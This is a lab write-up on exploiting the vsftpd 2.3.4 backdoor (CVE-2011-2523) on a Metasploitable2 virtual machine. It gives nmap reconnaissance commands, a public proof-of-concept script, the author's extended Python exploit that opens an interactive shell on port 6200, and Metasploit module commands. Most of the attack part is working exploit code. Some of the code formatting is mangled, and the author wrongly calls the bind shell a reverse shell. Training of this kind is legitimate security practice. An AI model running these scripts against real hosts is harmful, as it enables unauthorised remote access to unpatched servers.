CVE-2011-2523

These are notes for creating the attack methodology in a controlled environment. It is assumed that the exercise is black-box, so I have no knowledge of the victim system.

1. Download the necessary ISOs, both Metasploitable2 and Kali or any other.
2. Important: the environment is configured with VMware, so both machines must be run on this hypervisor.
3. The initial process is to run an ip to verify that there is connectivity between both endpoints.
4. Use nmap -sV -Pn 192.168.253.128. Once we have performed the reconnaissance, we find multiple ports: 21 ftp vsftpd 2.3.4

As part of the training, we intend to attack each port to achieve access in multiple ways. We start with the following port: We will try to create a black-box scenario to solve or simulate real conditions as much as possible.

Exploitation of port 21 FTP

We start by using nmap -Pn -sV 10.0.2.5. We search the public databases and find CVE-2011-2523, which is a backdoor, and we will try to exploit it to gain access to the victim machine.

First, we must understand that there is a backdoor in the exploit that will be carried out in this particular case. When trying to find how to compromise this system through the existing vulnerability, information is found on packetstorm.news. A POC is presented that proves it can be exploited, but it is not fully functional, as shown in the following code:

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

When reading the code, we can understand that the intention is to test that it can be done, but not to make it a functional script. Therefore, to perform more realistic practices, I made a substantial modification so that it had a reverse shell that would allow a more appropriate access from the moment the code is executed. The modification of the code led to the following result:

#!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

From the above, we can understand that this may be a somewhat manual and convoluted way to approach this example, but it is about creating various options to grow in the computer security environment and improve skills.

The other way that can be used is using metasploit as follows:

msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run

As you can see, both do exactly the same thing, only one is already automated and the other is a more manual process.